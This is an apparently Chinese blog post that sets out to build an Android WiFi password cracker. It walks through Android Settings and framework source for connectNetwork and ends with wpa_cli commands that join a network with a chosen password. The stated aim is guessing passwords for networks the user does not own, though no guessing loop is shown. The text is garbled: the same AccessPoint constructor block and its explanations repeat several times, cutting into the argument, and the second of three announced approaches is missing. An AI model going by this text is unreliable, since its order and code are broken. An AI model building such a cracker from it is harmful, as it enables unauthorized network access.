最近,在好几个安卓手机群里面都看到有朋友寻求WIFI密码破解工具,在网上经过一番搜索后发现居然没有这样的软件,这让我感到很奇怪,难道这样的功能实现起来很难?思索再三,决定探个究竟。
首先看SDK中查看WIFI操作的相关类。WIFI的支持是在android.net.wifi包中提供的。里面有WifiManager、WifiInfo、WifiConfiguration与ScanResult等几个常用到的类,WIFI的管理通过WifiManager暴露出来的方法来操作,仔细一看还真让人郁闷,这个类没有提供连接WIFI的方法,倒是有disconnect()方法来断开连接,不过有个reconnect()方法倒是值得注意,只是该方法SDK中却没有详细的介绍。在谷歌中搜索安卓连接WIFI的代码又测试失败,心里顿时凉了一截!看来要想完成这个功能还得下一番功夫。
转念一想,安卓会不会把这样的接口隐藏了,通过AIDL的方式就可以访问呢?为了验证我的想法,开始在安卓源代码的“frameworks”目录中搜索以aidl结尾的文件,最终锁定“IWifiManager.aidl”文件,用Editplus打开它,发现IWifiManager接口里面也没有提供连接WIFI的方法。这条线索也断了!
看来只能从手机WIFI的连接过程着手了。掏出手机,进入“设置”->“无线和网络设置”->“WLAN设置”里面打开“WLAN”,这时手机会自动搜索附近的WIFI热点,点击任一个加密的热点会弹出密码输入框,如图1所示:
图 1
输入任意长度大于或等于8位的密码后点击连接按钮,此时手机就会去连接该热点,如果验证失败就会提示“密码错误,请重新输入正确的密码并且再试一次”,如图2所示:
图 2
如果此时更换密码后再试一次仍然失败的话,手机就不会再访问该热点并将该WLAN网络设为禁用。既然在手机设置里可以连接WIFI,那么说明设置里面就有连接WIFI的代码存在。
手机设置这一块是做为安卓手机的一个软件包提供的,它的代码位于安卓源码的“packages\apps\Settings”目录中,为了弄清楚操作流程,我决定到源码中查看相关代码。首先根据文件名判断打开“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件,可以看到WifiSettings类继承自SettingsPreferenceFragment,SettingsPreferenceFragment类使用一系列的PreferenceScreen作为显示的列表项,现在很多软件都用它来作为自身的设置页面,不仅布局更简单,而且也很方便。
找到WifiSettings的构造函数代码如下:
public WifiSettings() { mFilter = new IntentFilter(); mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION); mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION); mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION); mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION); mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION); mFilter.addAction(WifiManager.ERROR_ACTION); mReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { handleEvent(context, intent); } }; mScanner = new Scanner(); }
这段代码注册了一个广播接收者,接收一系列的广播事件,WIFI_STATE_CHANGED_ACTION事件当WIFI功能开启或关闭时会收到,SCAN_RESULTS_AVAILABLE_ACTION事件当手机扫描到有可用的WIFI连接时会收到,SUPPLICANT_STATE_CHANGED_ACTION事件当连接请求状态发生改变时会收到,NETWORK_STATE_CHANGED_ACTION事件当网络状态发生变化时会收到,对于其它的事件我们不用去关心,广播接收者中调用handleEvent()方法对所有的事件进行判断并处理,事件处理代码如下:
private void handleEvent(Context context, Intent intent) { String action = intent.getAction(); if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) { updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE, WifiManager.WIFI_STATE_UNKNOWN)); } else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) || WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) || WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) { updateAccessPoints(); } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) { if (!mConnected.get()) { updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState) intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE))); } if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent); } } else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) { NetworkInfo info = (NetworkInfo) intent.getParcelableExtra( WifiManager.EXTRA_NETWORK_INFO); mConnected.set(info.isConnected()); changeNextButtonState(info.isConnected()); updateAccessPoints(); updateConnectionState(info.getDetailedState()); } ..... }
代码中分别调用updateWifiState()、updateConnectionState()、updateAccessPoints()等方法进行更新操作,同样凭感觉查看updateAccessPoints()方法,代码如下:
private void updateAccessPoints() { final int wifiState = mWifiManager.getWifiState(); switch (wifiState) { case WifiManager.WIFI_STATE_ENABLED: // AccessPoints are automatically sorted with TreeSet. final Collection<AccessPoint> accessPoints = constructAccessPoints(); getPreferenceScreen().removeAll(); if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated( getPreferenceScreen(), accessPoints); } else { for (AccessPoint accessPoint : accessPoints) { getPreferenceScreen().addPreference(accessPoint); } } break; ..... }
成功开启WIFI,即getWifiState()返回为WIFI_STATE_ENABLED时首先会调用constructAccessPoints(),在这个方法中调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()来分别获取已保存与可用的WIFI热点网络,接着判断mInXlSetupWizard并调用onAccessPointsUpdated()或addPreference(accessPoint),这两者的操作都是往页面添加显示搜索到的WIFI热点网络,区别只是调用者是不是大屏手机或平板电脑(mInXlSetupWizard意思为是否为大屏幕的设置向导,这个结论由长时间分析所得!*_*,XL=XLarge)。AccessPoints 的构造函数有三个,代码如下:
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
代码首先new了一个WifiConfiguration赋值给mConfig,然后设置allowedKeyManagement为KeyMgmt.NONE表示不使用加密连接,这个工作做完成后就调用了mWifiManager的connectNetwork()方法进行连接,看这个方法的父亲可以发现是WifiManager,居然是WifiManager,可这个方法却没有导出!!!
继续分析,如果是加密的WIFI,就调用showConfigUi()方法来显示输入密码框,对于大屏手机,即mInXlSetupWizard为真时,调用了WifiSettingsForSetupWizardXL类的showConfigUi()方法,如果为假就直接调用showDialog(accessPoint, edit)显示对话框,代码如下:
private void showDialog(AccessPoint accessPoint, boolean edit) { if (mDialog != null) { removeDialog(WIFI_DIALOG_ID); mDialog = null; } // Save the access point and edit mode mDlgAccessPoint = accessPoint; mDlgEdit = edit; showDialog(WIFI_DIALOG_ID); } @Override public Dialog onCreateDialog(int dialogId) { AccessPoint ap = mDlgAccessPoint; // For manual launch if (ap == null) { // For re-launch from saved state if (mAccessPointSavedState != null) { ap = new AccessPoint(getActivity(), mAccessPointSavedState); // For repeated orientation changes mDlgAccessPoint = ap; } } // If it's still null, fine, it's for Add Network mSelectedAccessPoint = ap; mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit); return mDialog; }
这段代码保存accessPoint后就调用showDialog(WIFI_DIALOG_ID)了,在onCreateDialog()初始化方法中判断mDlgAccessPoint是否为null,如果为null就调用AccessPoint的第三个构造方法从保存的状态中生成一个AccessPoint,最后new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一个WifiDialog,这个WifiDialog继承自AlertDialog,也就是它,最终将对话框展现在我们面前,WifiDialog构造函数的第二个参数为DialogInterface.OnClickListener的监听器,设置为this表示类本身对按钮点击事件进行响应,接下来找找事件响应代码,马上就到关键啰!
public void onClick(DialogInterface dialogInterface, int button) { if (mInXlSetupWizard) { if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) { forget(); } else if (button == WifiDialog.BUTTON_SUBMIT) { ((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed(); } } else { if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) { forget(); } else if (button == WifiDialog.BUTTON_SUBMIT) { submit(mDialog.getController()); } } }
代码判断弹出的对话框是WIFI热点抛弃还是WIFI连接,并做出相应的处理,这里看看submit()方法的代码:
void submit(WifiConfigController configController) { int networkSetup = configController.chosenNetworkSetupMethod(); switch(networkSetup) { case WifiConfigController.WPS_PBC: case WifiConfigController.WPS_DISPLAY: case WifiConfigController.WPS_KEYPAD: mWifiManager.startWps(configController.getWpsConfig()); break; case WifiConfigController.MANUAL: final WifiConfiguration config = configController.getConfig(); if (config == null) { if (mSelectedAccessPoint != null && !requireKeyStore(mSelectedAccessPoint.getConfig()) && mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) { mWifiManager.connectNetwork(mSelectedAccessPoint.networkId); } } else if (config.networkId != INVALID_NETWORK_ID) { if (mSelectedAccessPoint != null) { saveNetwork(config); } } else { if (configController.isEdit() || requireKeyStore(config)) { saveNetwork(config); } else { mWifiManager.connectNetwork(config); } } break; } if (mWifiManager.isWifiEnabled()) { mScanner.resume(); } updateAccessPoints(); }
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
关键代码终于找到了,那个叫激动啊T_T!按钮事件首先对WIFI网络加密类型进行判断,是WPS的就调用mWifiManager.startWps(configController.getWpsConfig()),是手动设置就调用被点击AccessPoint 项的getConfig()方法读取WifiConfiguration信息,如果不为null调用connectNetwork(mSelectedAccessPoint.networkId)连接网络,为null说明可能是AccessPoint 调用第二个构造函数使用ScanResult生成的,则调用saveNetwork(config),看看saveNetwork()的代码:
private void saveNetwork(WifiConfiguration config) { if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config); } else { mWifiManager.saveNetwork(config); } }
调用的mWifiManager.saveNetwork(config)方法,这个方法同样在SDK中没有导出,到源码中找找,最终在源代码的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通过向自身发送消息的方式调用了WifiStateMachine.java->WifiConfigStore.java->saveNetwork()方法,最终保存WIFI网络后发送了一个已配置网络变更广播,这里由于篇幅就不再展开了。
分析到这里,大概了解了WIFI连接的整个流程,程序无论是否为加密的WIFI网络,最终调用WifiManager的connectNetwork()方法来连接网络。而这个方法在SDK中却没有导出,我们该如何解决这个问题,一杯茶后,马上回来......
我始终不明白安卓SDK中为什么不开放connectNetwork这个接口,但现在需要用到了,也只能接着往下面分析,WifiManager是Framework层的,接下来的探索移步到安卓源码“frameworks\base\wifi\java\android\net\wifi”目录中去,在WifiManager.java中搜索“connectNetwork”,代码如下:
/** * Connect to a network with the given configuration. The network also * gets added to the supplicant configuration. * * For a new network, this function is used instead of a * sequence of addNetwork(), enableNetwork(), saveConfiguration() and * reconnect() * * @param config the set of variables that describe the configuration, * contained in a {@link WifiConfiguration} object. * @hide */ public void connectNetwork(WifiConfiguration config) { if (config == null) { return; } mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config); }
注意看注释部分!“对于一个新的网络,这个函数相当于陆续调用了addNetwork(), enableNetwork(), saveConfiguration() 与 reconnect()”。看到这句话,心里可美了,因为这四个函数在SDK中都有导出,在代码中分别调用它们不就达到调用connectNetwork的目的了么?
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
继续分析代码,如果config不为空,connectNetwork就通过mAsyncChannel发送了一条“CMD_CONNECT_NETWORK”的消息,mAsyncChannel的声明如下:
/* For communication with WifiService */ private AsyncChannel mAsyncChannel = new AsyncChannel();
从注释上理解,这个东西是用来与WifiService 通信的。WifiService 属于Framework底层的服务,位于源码“\frameworks\base\services\java\com\android\server”目录,找到代码如下:
@Override public void handleMessage(Message msg) { switch (msg.what) { ...... case WifiManager.CMD_CONNECT_NETWORK: { if (msg.obj != null) { mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj); } else { mWifiStateMachine.connectNetwork(msg.arg1); } break; } ...... } }
在handleMessage()方法中有很多消息处理,这里由于篇幅只列出了CMD_CONNECT_NETWORK,可以看出这WifiService 就是个“托”,它只是将“病人”重新转给mWifiStateMachine处理,mWifiStateMachine为WifiStateMachine类,代码和WifiManager在同一目录,找到connectNetwork代码如下:
public void connectNetwork(int netId) { sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0)); } public void connectNetwork(WifiConfiguration wifiConfig) { /* arg1 is used to indicate netId, force a netId value of * WifiConfiguration.INVALID_NETWORK_ID when we are passing * a configuration since the default value of 0 is a valid netId */ sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID, 0, wifiConfig)); }
真有才了!还在发消息,只不过是给自已发,我真怀疑这写WIFI模块的是不是90后,这一层层绕的不头晕?找到处理代码如下:
@Override public boolean processMessage(Message message) { ...... case CMD_CONNECT_NETWORK: int netId = message.arg1; WifiConfiguration config = (WifiConfiguration) message.obj; /* We connect to a specific network by issuing a select * to the WifiConfigStore. This enables the network, * while disabling all other networks in the supplicant. * Disabling a connected network will cause a disconnection * from the network. A reconnectCommand() will then initiate * a connection to the enabled network. */ if (config != null) { netId = WifiConfigStore.selectNetwork(config); } else { WifiConfigStore.selectNetwork(netId); } /* The state tracker handles enabling networks upon completion/failure */ mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK); WifiNative.reconnectCommand(); mLastExplicitNetworkId = netId; mLastNetworkChoiceTime = SystemClock.elapsedRealtime(); mNextWifiActionExplicit = true; if (DBG) log("Setting wifi connect explicit for netid " + netId); /* Expect a disconnection from the old connection */ transitionTo(mDisconnectingState); break; ...... }
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
注释中说:通过WifiConfigStore的selectNetwork()方法连接一个特定的网络,当禁用supplicant中其它所有网络时,会连接网络,而禁用一个已经连接的网络,将会引发disconnection操作,reconnectCommand()方法会初始化并连接已启用的网络。
selectNetwork()过后,mSupplicantStateTracker发送了一条CMD_CONNECT_NETWORK消息,它其实只做了一件事,就是将“mNetworksDisabledDuringConnect ”设为true。最后WifiNative.reconnectCommand()对网络进行重新连接,至此,WIFI的连接过程就完毕了,下面看看selectNetwork()代码:
static int selectNetwork(WifiConfiguration config) { if (config != null) { NetworkUpdateResult result = addOrUpdateNetworkNative(config); int netId = result.getNetworkId(); if (netId != INVALID_NETWORK_ID) { selectNetwork(netId); } else { loge("Failed to update network " + config); } return netId; } return INVALID_NETWORK_ID; } static void selectNetwork(int netId) { // Reset the priority of each network at start or if it goes too high. if (sLastPriority == -1 || sLastPriority > 1000000) { synchronized (sConfiguredNetworks) { for(WifiConfiguration config : sConfiguredNetworks.values()) { if (config.networkId != INVALID_NETWORK_ID) { config.priority = 0; addOrUpdateNetworkNative(config); } } } sLastPriority = 0; } // Set to the highest priority and save the configuration. WifiConfiguration config = new WifiConfiguration(); config.networkId = netId; config.priority = ++sLastPriority; addOrUpdateNetworkNative(config); WifiNative.saveConfigCommand(); enableNetworkWithoutBroadcast(netId, true); }
代码都在这里了,我再也不帖了,帖了太多了,这段代码流程为addOrUpdateNetworkNative()先保存一个,然后对已保存的网络优先级降下来,这是为了让新网络拥有更高的优先连接权,接着执行saveConfigCommand()将配置信息保存,这里的保存操作在底层是将网络信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中,最后enableNetworkWithoutBroadcast(netId, true)启用本网络并禁用其它网络。
小结一下connectNetwork的执行步骤为“WifiConfigStore.selectNetwork()”->“addOrUpdateNetworkNative()”->“其它网络降级并设置自已最高优先级”->“WifiNative.saveConfigCommand()”->“enableNetworkWithoutBroadcast(netId, true);”->“WifiNative.reconnectCommand()”->“通过广播判断连接成功或失败”。
既然connectNetwork的执行步骤现在清楚了,那我们自己实现它便可以完成WIFI的手动连接了,
WIFI密码破解器的编写有三种思路:
第一种就是上面说的自己动手实现connectNetwork,按照SDK中常规步骤连接WIFI,本文采用此方法。
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
第三种方法同样通过NDK方式,但优雅些。在上面的分析中,我没有提到安卓WIFI的核心wpa_supplicant,它作为安卓WIFI的一个组件存在,为安卓系统提供了WPA、WPA2等加密网络的连接支持。在手机系统的“/system/bin”目录中,有“wpa_supplicant”与“wpa_cli”两个文件,前者是一个服务,客户端通过它控制手机无线网卡,如发送AP扫描指令、提取扫描结果、关联AP操作等。后者是一个命令行工具,用来与wpa_supplicant通信,在正常启动wpa_supplicant服务后执行下面的指令便可以连接上WIFI网络:
wpa_cli -iwlan0 add_network // 增加一个网络,会返回一个网络号,假设为1 wpa_cli -iwlan0 set_network 1 ssid '"……"' //ssid为要连接的网络名 wpa_cli -iwlan0 set_network 1 psk '"……"' //psk为连接的密码 wpa_cli -iwlan0 enable_network 1 //以下三条与上面connectNetwork分析功能一致 wpa_cli -iwlan0 select_network 1 wpa_cli -iwlan0 save_config
